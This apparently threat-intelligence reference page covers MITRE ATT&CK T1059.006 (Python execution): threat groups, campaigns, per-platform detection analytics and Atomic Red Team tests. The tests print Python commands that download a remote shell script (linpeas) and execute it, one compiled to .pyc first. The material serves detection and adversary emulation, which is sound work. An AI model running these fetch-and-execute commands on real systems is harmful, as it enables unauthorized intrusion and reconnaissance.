tfMITRE ATT&CK sub-technique

Python T1059.006

sub-technique of T1059 Command and Scripting Interpreter

Tactic: Execution
Platforms: ESXi, Linux, macOS, Windows
Version: 1.1
Created: 09 March 2020
Last modified: 12 May 2026

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 9%

Threat groups91st percentile · 91% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 10%

Campaigns90th percentile · 90% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 10%

Tools & malware90th percentile · 90% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 18%

Detection rules82nd percentile · 82% of ATT&CK techniques have this many detection rules written or fewer.

Python MITRE reference T1059.006

Top 9%of all ATT&CK techniques for number of groups

19 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TeamPCPG1056 ↗

Has poisoned PyPi packages with malicious code and has used a 13 file modular Python framework for data collection.1 2 3 1

created 2026-07-164 referencesaka PCPCat

VOID MANTICOREG1055 ↗

Has utilized Python scripts to execute its malicious payloads.1

created 2026-04-201 referenceaka COBALT MYSTIQUE

Contagious InterviewG1052 ↗

Has used the Python-based malware such as InvisibleFerret to install and execute Python Packages and Python modules.1 2 3

created 2025-10-193 referencesaka DeceptiveDevelopment

UNC3886G1048 ↗

Has used Python scripts to enumerate ESXi hosts and guest VMs.1

created 2025-05-291 reference

RedCurlG1039 ↗

Has used a Python script to establish outbound communication and to execute commands using SMB port 445.1

created 2024-09-231 reference

Cinnamon TempestG1021 ↗

Has used a customized version of the Impacket wmiexec.py module to create renamed output files.1

created 2023-12-061 referenceaka DEV-0401

All 19 groups for this technique · 6 newest in this preview

4 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

Cutting EdgeC0029 ↗

During Cutting Edge, threat actors used a Python reverse shell and the PySoxy SOCKS5 proxy tool.1 2

2023–2024

ShadowRayC0045 ↗

During ShadowRay, threat actors used the Python pty module to open reverse shells.1

2023–2024

Operation WocaoC0014 ↗

During Operation Wocao, threat actors' backdoors were written in Python and compiled with py2exe.1

2017–2019

Salesforce Data ExfiltrationC0059 ↗

During Salesforce Data Exfiltration, threat actors used custom applications developed in python.1

2004–2025

All 4 campaigns for this technique

Offense vs defense T1059.006

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 4Sigma rules (cumulative) · 13Splunk ESCU (cumulative) · 1

first rule: 2018 Q4 · 4 of 4 campaigns plotted

Python detection strategy DET0063

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Cross-Platform Behavioral Detection of Python Execution

Enterprise

4 platforms

AN0172 · Windows

Detects Python execution via python.exe or py.exe with anomalous parent lineage (e.g., Office macros, LOLBAS), execution from unusual directories, or chained network/PowerShell/system-level activity.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Network Traffic ContentDC0085	EDR:hunting	Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcess	Non-standard processes spawning python.exe (e.g., winword.exe, mshta.exe).
ScriptPath	Execution of .py from temp directories or user profile paths.
TimeWindow	Execution outside maintenance or patch windows.
UserContext	Execution by low-privileged or service accounts.
ChildProcess	Python spawning suspicious binaries or scripts (e.g., PowerShell, certutil).

AN0173 · macOS

Detects native Python or framework-based execution from Terminal, embedded apps, or launchd jobs. Flags network calls, persistence writes, or system enumeration after Python launch.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Script ExecutionDC0029	macos:unifiedlog	log stream --predicate 'eventMessage contains "python"'
Process CreationDC0032	macos:osquery	process_events
Command ExecutionDC0064	macos:syslog	system.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ExecutionPath	Detects python scripts from ~/Downloads/, /Volumes/, or /tmp/.
ScriptName	Obfuscated or high entropy script names.
SpawnChain	Chained behavior: Python → bash → curl or Python → osascript.

AN0174 · Linux

Detects Python execution from non-standard user contexts or cron jobs that invoke outbound traffic, access sensitive files, or perform process injection (e.g., ptrace or /proc memory maps).

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Script ExecutionDC0029	linux:syslog	/var/log/syslog
Process CreationDC0032	auditd:SYSCALL	execve

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ScriptDir	Script invoked from /tmp, /var/tmp, or .hidden/ folders.
ScheduledContext	Execution from user cron or systemd timers outside of approved scripts.
NetworkActivity	Python performing HTTP/HTTPS without package updates.

AN0175 · ESXi

Detects Python script or interpreter execution on ESXi hosts via embedded BusyBox shells, nested installations, or dropped files via SSH or datastore mount. Flags unusual scripting or post-compromise enumeration behavior.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	esxi:vobd	/var/log/vobd.log
Command ExecutionDC0064	esxi:hostd	/var/log/hostd.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ExecutionSource	Script loaded from mounted datastore, SSH upload, or dropped via guest-to-host tools.
HostUser	Python launched under root or unknown user.
InstallPath	Custom Python binaries or packages in non-default paths (/tmp/python/bin/python3).

Tests4Executorssh 4Need elevation0 of 4Have prerequisites4Have cleanup3Platformslinux

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Execute shell script via python's command mode arguement

linux

—

Yes

Download and execute shell script and write to file then execute locally using Python -c (command mode)

Input arguments

Name	Type	Default	Description
executor	string	sh	FreeBSD or Linux shell
script_url	string	https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh	Shell script public URL
script_args	string	-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles	Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files.
payload_file_name	string	T1059.006-payload	Name of shell script downloaded from the script_url

Attack command

which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'

Cleanup command

rm #{payload_file_name} 
pip-autoremove pypykatz >nul 2> nul

Prerequisite

Verify if python is in the environment variable path and attempt to import requests library.

Check

which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?

Satisfy

pip install requests

GUIDd1dc7741-6e21-4ae3-887a-dd4d8a7a4ffb

Execute Python via scripts

linux

—

Yes

Create Python file (.py) that downloads and executes shell script via executor arguments

Input arguments

Name	Type	Default	Description
executor	string	sh	Payload or script interpreter / executor
script_url	string	https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh	Shell script public URL
script_args	string	-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles	Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files
payload_file_name	string	T1059.006-payload	Shell script file name downloaded from the script_url
python_script_name	path	T1059.006.py	Python script name

Attack command

which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python #{python_script_name}

Cleanup command

rm #{python_script_name} #{payload_file_name}

Prerequisite

Requires Python

Check

which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?

Satisfy

pip install requests

GUID978374a0-2869-4873-a87b-bbfb2c63faab

Execute Python via Python executables

linux

—

Yes

Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments

Input arguments

Name	Type	Default	Description
executor	string	sh	Payload or script interpreter / executor
script_url	string	https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh	URL hosting external malicious payload
script_args	string	-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles	Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files
payload_file_name	string	T1059.006-payload	Shell script file name downloaded from the script_url
python_binary_name	path	T1059.006.pyc	Name of Python file to be compiled
python_script_name	path	T1059.006.py	Name of Python script name

Attack command

which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
$which_python #{python_binary_name}

Cleanup command

rm #{python_binary_name} #{python_script_name} #{payload_file_name}

Prerequisite

Requires Python

Check

which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?

Satisfy

pip install requests

GUIDf55cb8db-3b6c-4134-ada2-da85c6eda4e3

Python pty module and spawn function used to spawn sh or bash

linux

—

Tests from Atomic Red Team (MIT licence) · technique definition

Python detections T1059.006

14 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 18%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs